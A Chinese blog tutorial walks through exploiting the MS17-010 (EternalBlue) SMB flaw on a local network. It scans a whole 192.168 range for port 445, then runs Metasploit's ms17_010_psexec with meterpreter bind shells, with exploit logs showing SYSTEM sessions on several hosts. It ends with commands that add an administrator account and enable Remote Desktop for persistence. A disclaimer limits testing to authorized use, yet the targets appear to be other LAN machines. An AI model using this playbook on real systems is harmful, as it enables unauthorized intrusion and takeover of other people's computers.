MS17-010(永恒之蓝)局域网内测试
浏览 4117 | 评论 3 | 字数 6085
卖女孩的小火柴 - 考研中
2019年10月12日

ms17-010是一个windows内smb协议的一个漏洞,外部攻击者可以对其造成溢出,以执行任意代码

所有测试仅仅局限于局域网内,严禁进行未经允许的测试!

工具包:工具.7z 密码 shinenet.cn

测试平台:

  1. windows10 1903(扫描IP和连接远程桌面)
  2. kali(用于使用msf)
  3. 局域网内漏洞主机一台 或 WINXP 虚拟机一台

备注:由于大部分情况下局域网内都不太可能存在有漏洞的主机,故提供虚拟机方式。

准备工作(如局域网内有设备可跳过):

  1. 下载并安装VM虚拟机
  2. 下载WINXP 2008年的靶机镜像 下载连接:ed2k://|file|zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070.iso|630237184|EC51916C9D9B8B931195EE0D6EE9B40E|/
  3. 安装并且激活WINXP KEY:MRX3F-47B9T-2487J-KWKMF-RPWBY
  4. 设置靶机的网络状态

    • 编辑虚拟机设置-网络适配器-桥接模式
    • 这是为了让虚拟机直接连接到你的路由器,没路由器的童鞋。。。就不用设置了
  5. 启动XP系统,百度搜索:WINXP如何查看IP地址 记录下IP
  6. 关闭XP自带的网络防火墙,准备结束

所有工具运行均需要关闭杀毒软件和WD

扫描设备(如安装虚拟机可跳过)

虽然masscan功能更多速度更快,但相比较而言,S扫描器更加的简单易用。
在s.exe 的文件旁边按住shift并右键-选择从此处打开Powershell窗口
输入 .\s.exe 并回车,可以看到s扫描器的提示
我们在这里扫描整个192.168的B段
命令为:.\s.exe TCP 192.168.0.0 192.168.255.255 445 1024 /save
之所以使用TCP方式,是因为WIN10不支持使用SYN方式
静静等待扫描完成
Scan 65536 IPs Complete In 0 Hours 3 Minutes 12 Seconds. Found 51 Hosts
扫描结束,扫描到51个Hosts
同时目录下面生成 Result.txt
手动删除开头和结尾无用字符,然后替换 445 Open为空
继续替换 空格 为空,得到一份完整的445端口开放的IP列表

验证漏洞

打开 说明.txt 文件,这是MS_17_010_Scan.exe 文件的扫描说明,支持两种形式

  1. 单IP扫描(虚拟机)

    • 启动PowerShell - 输入.\MS_17_010_Scan.exe -ip xxxxxxx 其中xxxx为虚拟机的IP
  2. 文件扫描(局域网用户)

    • 启动PowerShell - 输入.\MS_17_010_Scan.exe -file Result.txt 其中Result.txt为IP列表文件,一行一个

查看扫描结果,Found Vuln MS17-010 为存在漏洞

捕获.PNG

可以看到,局域网内存在多台MS17-010漏洞主机,并且标注出了对应的WIN版本(Windows 5.1大概率是WINXP)
记录下这些IP,等会儿要用

利用MS17-010

准备工作

  1. Kali系统一个,虚拟机物理机均可(虚拟机也需要设置网络为 桥接)
  2. Shell知识一些(至少得会敲命令,会TAB自动补全)
  3. 启动Kali
  4. 打开 终端 应用程序,其实就是shell
  5. 本来还应该使用nmap对机器进行扫描以确定的,在此省略,有兴趣的童鞋可以自己去搜搜教程
  6. 输入 msfconsole 进入MSF环境

扫描漏洞

刚刚使用的工具是WIN下的,并不是非常的精准,这里重新使用MSF扫描那几台主机
命令:
使用MS17-010的扫描工具
use auxiliary/scanner/smb/smb_ms17_010
查看工具的选项
show options
也可以使用 show info 查看插件的说明
选择一个你想要尝试的目标,记录下IP,然后设置目标(或者设置多个目标,使用逗号进行分割)
set RHOSTS XXXX
开始运行扫描
run
这是我的扫描结果:

[+] 192.168.236.106:445   - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 1 of 6 hosts (16% complete)
[+] 192.168.237.50:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86 (32-bit)
[*] Scanned 2 of 6 hosts (33% complete)
[+] 192.168.238.62:445    - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 3 of 6 hosts (50% complete)
[+] 192.168.238.69:445    - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 4 of 6 hosts (66% complete)
[+] 192.168.238.163:445   - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 5 of 6 hosts (83% complete)
[+] 192.168.238.227:445   - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 6 of 6 hosts (100% complete)
[*] Auxiliary module execution completed

全是X86的主机,配置应该不会很高

开始渗透

选择exploit模块
use exploit/windows/smb/ms17_010_psexec
查看选项
show options
设置目标
set RHOSTS xxxxx
选择payload 由于反射shell对于小白有点难度,这里使用bind类型的payload,缺点是容易被发现
-如果对方是X64 64位的主机
set payload windows/x64/meterpreter/bind_tcp
-如果对方是X86 32位的主机
set payload windows/meterpreter/bind_tcp
选错会导致入侵成功但拿不到shell
开始渗透
exploit
可以看到,在一连串的操作后,成功入侵(如果失败了,就换一台继续)

msf5 exploit(windows/smb/ms17_010_psexec) > exploit
\
[*] 192.168.236.106:445 - Target OS: Windows 5.1
[*] 192.168.236.106:445 - Filling barrel with fish... done
[*] 192.168.236.106:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.236.106:445 -     [*] Preparing dynamite...
[*] 192.168.236.106:445 -         [*] Trying stick 1 (x86)...Boom!
[*] 192.168.236.106:445 -     [+] Successfully Leaked Transaction!
[*] 192.168.236.106:445 -     [+] Successfully caught Fish-in-a-barrel
[*] 192.168.236.106:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.236.106:445 - Reading from CONNECTION struct at: 0x8964f7a0
[*] 192.168.236.106:445 - Built a write-what-where primitive...
[+] 192.168.236.106:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.236.106:445 - Selecting native target
[*] 192.168.236.106:445 - Uploading payload... hVWaRZQw.exe
[*] 192.168.236.106:445 - Created \hVWaRZQw.exe...
[+] 192.168.236.106:445 - Service started successfully...
[*] 192.168.236.106:445 - Deleting \hVWaRZQw.exe...
[*] Started bind TCP handler against 192.168.236.106:4444
[*] Sending stage (180291 bytes) to 192.168.236.106
[*] Meterpreter session 1 opened (192.168.1.142:40241 -> 192.168.236.106:4444) at 2019-10-12 09:54:00 +0800

meterpreter > \

查看状态

meterpreter是一个后门工具,提供了极多的入侵选项,具体可以百度,这里只说几个常用的

  • sysinfo - 查看系统基本信息
  • screenshare - 实时查看对方系统屏幕
  • shell - 最重要的,开启对方系统的cmd

在shell中,如果乱码,请在终端上方的 设置字符编码 - 选择 GBK

实际上,入侵到此就已经结束了,已经拿到对方系统的shell权限,提权那也是之后的事情了。

开启3389和添加用户

查看目标的管理员
net user

增加管理员
net user test 123456 /add
net localgroup administrators test /add

删除管理员
net user test /delete

开启远程桌面
xp 2003
首选 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

备选:

wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

或者一句话
wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1

最后就可以使用 远程桌面 连接上对应的机器啦
最后报告上去的时候,不要忘记关闭3389和删除新建的账户
最后报告上去的时候,不要忘记关闭3389和删除新建的账户
最后报告上去的时候,不要忘记关闭3389和删除新建的账户

备注:即使是MSF内的exploit框架也并不完善,仍然有存在漏洞但无法渗透的情况,源码是Python的,可以去github下载,那个成功率会高很多。
如果确认存在漏洞,但MSF无法使用,可以使用fcstools工具,具体使用方式请百度,默认已经填好了x86和x64的payload,bind_tcp,端口4444

工具包:工具.7z 密码 shinenet.cn

本文作者:卖女孩的小火柴 - 考研中
本文链接:https://www.shinenet.cn/archives/50.html
最后修改时间:2019-11-15 19:55:52
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
如果文章对您有帮助,不妨打赏杯可乐?微信-赞赏码
评论
如果可能,请填写真实邮箱,有回复会送至邮箱。请不要水评论,谢谢。
textsms
支持 Markdown 语法
email
link
评论列表
已有 3 条评论
巨巨白
2020-12-16 17:28
搜不到fsctools的具体用法啊,尤其是runshellcode功能,总是提示缺backdoor.c,求指点
2020-12-16 19:01
@巨巨白 backdoor.c是需要自己写的 不是自带的 而且能不能用我也没测试 通常情况下用msf生成的dll就行
Qicloud
2019-10-23 21:36
搞事情哦,有种炸公司电脑的冲动